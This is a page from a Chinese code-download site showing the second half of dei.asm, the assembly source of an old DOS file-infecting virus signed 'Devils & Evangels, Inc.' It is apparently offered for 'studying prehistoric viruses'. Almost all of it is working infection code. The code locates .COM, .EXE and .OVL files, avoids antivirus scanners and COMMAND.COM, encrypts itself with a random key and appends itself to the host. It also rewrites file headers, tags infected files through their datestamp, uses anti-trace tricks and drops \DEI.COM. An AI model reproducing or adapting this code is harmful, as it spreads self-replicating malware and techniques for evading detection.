⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dei.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
		jb      date_fixed              ; fix it up
		ror     dh,1
		sub     dh,100
		rol     dh,1
date_fixed:
		iret
an_error:
		retf    2
; Called routines

; this routine checks for a .COM or .EXE file
try_infecting:
		push    di es cx ax

		cmp     ax,6C00h                ; extended open fix
		jne     get_ext
		xchg    dx,si
get_ext:
		mov     di,dx                   ; find program extension
		push    ds
		pop     es
		mov     cx,64
		mov     al,'.'
		repnz   scasb
		pop     ax
		jcxz    let_it_be               ; ... "ecch" ...

		cmp     [di],'OC'               ; .COM file?
		jne     perhaps_exe             ; maybe .EXE, then
		cmp     byte ptr [di + 2],'M'
		jne     let_it_be               ; not program, don't infect
		jmp     yes_infect_it
perhaps_exe:
		cmp     [di],'XE'               ; .EXE file?
		jne     one_more_try            ; maybe ... .OVL?
		cmp     byte ptr [di + 2],'E'
		jne     let_it_be
		jmp     yes_infect_it
one_more_try:
		cmp     [di],'VO'               ; .OVL file?
		jne     let_it_be
		cmp     byte ptr [di + 2],'L'
		jne     let_it_be
yes_infect_it:
		call    check_name              ; don't infect forbidden
		jc      let_it_be               ; programs
		call    infect_ds_dx
let_it_be:
		cmp     ah,6Ch                  ; extended open fixup
		jne     get_out
		xchg    dx,si
get_out:
		pop     cx es di
		ret

; this routine checks the filename at DS:DX for certain 'bad' programs

check_name:
		push    ax cx es di

		push    ds                      ; find extension
		pop     es
		mov     di,dx
		mov     cx,64
		mov     al,'.'
		repnz   scasb

		cmp     word ptr [di - 3],'NA'  ; SCAN or TBSCAN
		jne     pass_1
		cmp     word ptr [di - 5],'CS'
		je      av_prog
pass_1:
		cmp     word ptr [di - 3],'TO'  ; Frisk's F-PRoT
		jne     pass_2
		cmp     word ptr [di - 5],'RP'
		je      av_prog
pass_2:
		cmp     word ptr [di - 3],'DN'  ; COMMAND.COM
		jne     pass_3                  ; ("Bad or Missing," etc.)
		cmp     word ptr [di - 5],'AM'
		je      av_prog
pass_3:
		cmp     word ptr [di - 5],'SA'  ; MS-DOS's QBASIC
		jne     pass_4                  ; ("Packed file is corrupt")
		cmp     word ptr [di - 7],'BQ'
		je      av_prog
pass_4:
		clc                             ; passed the test
		jmp     check_complete
av_prog:
		stc                             ; ack! *GAG* *boo* *hiss*
check_complete:
		pop     di es cx ax
		ret

; this routine infects the file at DS:DX

infect_ds_dx:
		push    ax bx cx dx si di ds es

		in      al,21h                  ; some anti-trace
		xor     al,2
		out     21h,al

		xor     al,2
		out     21h,al

		mov     ax,3D00h                ; read-only ... we'll change        
		call    int_21                  ; it later, but it won't trip
		jnc     hook_24                 ; some AV monitors
		jmp     cant_open

hook_24:
		xor     bx,bx                   ; hook int 24h
		mov     ds,bx                   ; prevent write protect errors
		mov     ds:[24h * 4],offset new_int_24
		mov     ds:[24h * 4 + 2],cs

		xchg    bx,ax                   ; get system file tables
		push    bx
		mov     ax,1220h
		int     2Fh
		nop                             ; anti-SCAN

		mov     bl,es:[di]
		mov     ax,1216h
		int     2Fh
		pop     bx

		call    check_datestamp         ; if already infected,
		jae     dont_infect             ; don't do it again

		mov     word ptr es:[di + 2],2  ; change mode to R/W

		push    cs                      ; read in 28 bytes of
		pop     ds                      ; our potential host ...

		mov     dx,offset read_buffer
		mov     cx,28
		mov     ah,3Fh                  ; (carefully avoiding
		call    int_21                  ;  our stealth routine)

		cmp     word ptr read_buffer,'ZM'
		je      infect_exe              ; if .EXE, infect as one

		mov     exe_flag,0              ; infect as .COM

		mov     ax,es:[di + 11h]        ; get file size

		cmp     ax,65279 - VIRUS_SIZE + 28
		ja      dont_infect             ; don't infect; too big

		cmp     ax,28
		jb      dont_infect             ; don't infect; too small

		mov     es:[di + 15h],ax        ; move to end of file
						; (I just love the SFTs ...)
		call    encrypt_and_write_virus ; encrypt the virus code
						; then write it to the file

		mov     dx,offset read_buffer   ; store original
		mov     cx,28                   ; header
		mov     ah,40h
		call    int_21

		mov     word ptr es:[di + 15h],0 ; and lastly, back to
						; the beginning of the file
		mov     dx,offset new_header    ; to add the new header
		mov     ah,40h
		mov     cx,22                   ; our header's only 22 bytesx
		call    int_21

		mov     cx,es:[di + 0Dh]        ; fix date/time
		mov     dx,es:[di + 0Fh]
		ror     dh,1
		add     dh,100
		rol     dh,1
		mov     ax,5701h
		call    int_21
dont_infect:
		mov     ah,3Eh                  ; and close the file
		call    int_21
cant_open:
		jmp     infect_exit             ; infection done; exit

infect_exe:
		cmp     word ptr read_buffer[24],'@'
		jne     not_windows
		jmp     infect_exit             ; Windows .EXE, don't infect
not_windows:
		cmp     word ptr read_buffer[26],0
		je      not_overlay
		jmp     infect_exit             ; overlay .EXE, don't infect
not_overlay:
		mov     exe_flag,1              ; infect as .EXE

		push    es di                   ; move original header
		push    cs                      ; into new header area
		pop     es

		mov     si,offset read_buffer
		mov     di,offset header_buffer
		mov     cx,28
		rep     movsb

		pop     di es

		push    es:[di + 11h]           ; save file size on stack
		push    es:[di + 13h]

		push    word ptr read_buffer[22]         ; CS ...
		pop     exe_cs
		add     exe_cs,10h              ; (adjust)
		push    word ptr read_buffer[20]         ; IP ...
		pop     exe_ip

		push    word ptr read_buffer[14]         ; SS ...
		pop     exe_ss
		add     exe_ss,10h              ; (adjust)
		push    word ptr read_buffer[16]         ; and SP
		pop     exe_sp                 

		pop     dx ax                   ; now we calculate new CS:IP
		push    ax dx                   ; (save these for later)

		push    bx
		mov     cl,12                   ; calculate offsets for CS
		shl     dx,cl                   ; and IP
		mov     bx,ax
		mov     cl,4
		shr     bx,cl
		add     dx,bx
		and     ax,15
		pop     bx

		sub     dx,word ptr read_buffer[8]
		mov     word ptr read_buffer[22],dx
		mov     word ptr read_buffer[20],ax
		
		pop     dx ax
		add     ax,VIRUS_SIZE + 28
		adc     dx,0
		push    ax dx

		mov     cl,4                    ; create a stack segment
		shr     ax,cl
		add     ax,200

		cmp     ax,word ptr read_buffer[14]
		jb      no_new_stack            ; if theirs is better, skip it
		
		mov     dx,-2                   ; set SP to FFFE always
		mov     word ptr read_buffer[14],ax
		mov     word ptr read_buffer[16],dx
no_new_stack:
		pop     dx ax                   ; now calculate program size

		mov     cx,512                  ; in pages
		div     cx                      ; then save results
		inc     ax
		mov     word ptr read_buffer[2],dx
		mov     word ptr read_buffer[4],ax
		
		mov     ax,4202h                ; this is just easier
		cwd                             ; than using the SFTs
		xor     cx,cx
		call    int_21

		mov     ax,word ptr read_buffer[20] ; get code offset
		call    encrypt_and_write_virus ; encrypt virus code
						; and write it to the file
		mov     dx,offset header_buffer ; write original header
		mov     cx,28                   ; to file
		mov     ah,40h
		call    int_21

		mov     word ptr es:[di + 15h],0
		mov     word ptr es:[di + 17h],0 ; back to beginning of file

		mov     dx,offset read_buffer   ; and write new header to file
		mov     ah,40h
		call    int_21
		
		mov     cx,es:[di + 0Dh]        ; fix date/time
		mov     dx,es:[di + 0Fh]
		ror     dh,1
		add     dh,100
		rol     dh,1
		mov     ax,5701h
		call    int_21

		mov     ah,3Eh                  ; close file
		call    int_21

infect_exit:
		pop     es ds di si dx cx bx ax ; done ... leave
		ret

encrypt_and_write_virus:
		push    es di bx ax             ; save code offset and SFT
		mov     bx,ax

		xor     ah,ah                   ; get random number from
		int     1Ah                     ; system clock
		mov     cipher,dl               ; and use it for encryption

		pop     ax                      ; fix up offset

		cmp     exe_flag,0
		jne     not_org_100h
		add     ax,100h
not_org_100h:
		add     ax,(viral_code - virus_begin)
		mov     ds:code_offset,ax

		add     ax,(virus_end - viral_code) - 1 ; second offset
		mov     ds:code_offset_2,ax

		mov     si,offset virus_begin
		mov     di,offset encrypt_buffer

		push    cs                      ; move decryption module
		pop     es

		mov     cx,viral_code - virus_begin
		rep     movsb

		mov     si,offset viral_code
		mov     cx,virus_end - viral_code
encrypt:                                        ; now encrypt virus code
		lodsb                           ; with a simple encryption
decryptor_2:
		xor     al,dl                   ; key ...
shift_2:
		neg     dl
		stosb
		loop    encrypt

		cmp     exe_flag,0              ; if .COM file,
		jne     exe_infection
		mov     ax,bx
		call    create_header           ; create unique header

exe_infection:
		pop     bx di es                ; restore SFT

		mov     ah,40h                  ; wrte virus code to file
		mov     cx,VIRUS_SIZE
		mov     dx,offset encrypt_buffer
		call    int_21

		ret

check_datestamp:
		mov     ax,es:[di + 0Fh]        ; a little routine to
		cmp     ah,100                  ; check timestamps
		ret

drop_program:
		lea     dx,[bp + offset weirdo] ; this creates our
		push    ds                      ; little signature
		push    cs
		pop     ds
		mov     ah,3Ch
		mov     cx,3
		int     21h
		jc      no_drop

		xchg    ax,bx
		mov     ah,40h
		mov     cx,(drop_me_end - drop_me)
		lea     dx,[bp + offset drop_me]
		int     21h

		mov     ah,3Eh
		int     21h

no_drop:
		pop     ds
		ret

delete_program:
		mov     ah,41h
		lea     dx,[bp + offset weirdo]
		push    ds
		push    cs
		pop     ds
		int     21h
		pop     ds
		ret

create_header:
		push    ax
		add     ax,100h + (offset decrypt - offset virus_begin)
		mov     ds:mov_1,ax             ; header
		inc     ax
		inc     ax
		mov     ds:mov_2,ax

		xor     ah,ah                   ; fill in useless MOVs
		int     1Ah                     ; with random bytes
		mov     ds:mov_al,cl
		mov     ds:mov_ax,dx

		push    dx                      ; modify header a little ...
		and     cl,7                    ; make things weirder ...
		add     cl,0B0h
		mov     ds:mov_reg,cl
		and     dl,3
		add     dl,0B8h
		mov     ds:mov_regx,dl
		pop     dx

		push    cs
		pop     es
		mov     di,offset encrypt_buffer
		add     di,offset decrypt - offset virus_begin
		mov     ax,dx                   ; now fill decryption module
		neg     ax                      ; with some garbage
		stosw
		rol     ax,1
		stosw

		pop     ax
		sub     ax,20                   ; fix up JMP instruction
		mov     ds:new_jump,ax

		ret                             ; done

new_header      db      0C7h,06
mov_1           dw      00
		db      2Eh
decryptor_3     db      30h                 ; first MOV
mov_reg         db      0B0h
mov_al          db      00                      ; a nothing MOV bytereg,
		db      0C7h,06
mov_2           dw      00
		db      07,043h                 ; second MOV
mov_regx        db      0B8h
mov_ax          dw      00                      ; a nothing MOV wordreg,
		db      0E9h                    ; jump instruction
new_jump        dw      0                       ; virus offset

exe_flag        db      0

exe_cs          dw      0                       ; EXE code/stack settings
exe_ip          dw      0
exe_ss          dw      0
exe_sp          dw      0

drop_me:
		mov     ah,9                    ; this program is dropped
		mov     dx,109h                 ; at random times within
		int     21h                     ; the root directory as
		int     20h                     ; \DEI.COM

sig             db      'Devils & Evangels, Inc. '
		db      '[DEI] MnemoniX $',0
drop_me_end:
		db      'v2.00'

weirdo          db      '\DEI.COM',0

virus_end:
host:
		mov     ah,4Ch                  ; fake host program
		int     21h

VIRUS_SIZE      equ     virus_end - virus_begin

read_buffer     db      28 dup (?)
header_buffer   db      28 dup (?)
encrypt_buffer  db      VIRUS_SIZE dup (?)
end_heap:

MEM_SIZE        equ     end_heap - start

code            ends
		end     start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -